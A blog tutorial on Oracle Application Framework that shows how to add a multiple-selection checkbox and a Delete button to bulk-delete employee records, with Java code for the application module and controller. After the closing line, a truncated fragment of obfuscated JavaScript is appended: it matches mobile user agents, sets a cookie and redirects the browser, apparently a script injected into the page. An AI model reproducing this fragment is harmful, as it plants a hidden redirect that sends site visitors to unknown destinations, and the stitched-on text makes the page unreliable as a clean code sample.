In this article we are going to see how we can delete data in bulk. Sometimes it is painful to delete one record at a time rather selecting all records need to be delete and click on button to delete.
Let’s see how we implement:
- Modify XXRDEmpVO to add a transient attribute.
Name: SelectFlag
Type: String
Updateable: Always - It will look like this:
- Now right click on ResultRN > multipleSelection. Change the properties as below.
ID: multipleSelection1
View Attribute: SelectFlag - Right Click on ResultRN to select tableActions. By default it will create region1 with region style flowLayout
- Now right click on region1 > New > Item to add a submit button. Set the following:
ID: DeleteBtn
Item Style: submitButton
Prompt: Delete - Write Logic now.
In XXRDRootAMImpl.java:
public void deleteEmployee(){
XXRDEmpVOImpl empVO = getXXRDEmpVO1();
Row row[] = empVO.getFilteredRows(“SelectFlag”,”Y”);
for(int i = 0;i<row.length;i++){
row[i].remove();
}
}In XXRDSearchEmpCO:
public void processFormRequest(OAPageContext pageContext, OAWebBean webBean)
{
super.processFormRequest(pageContext, webBean);
XXRDRootAMImpl rootAM = (XXRDRootAMImpl)pageContext.getApplicationModule(webBean);
if(pageContext.getParameter(“DeleteBtn”)!=null){
rootAM.invokeMethod(“deleteEmployee”);
rootAM.invokeMethod(“commiData”);
throw new OAException(“Employee Deletion Successful”,OAException.INFORMATION);
}
}
Now, launch the page to test.
Hope this helps. g|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}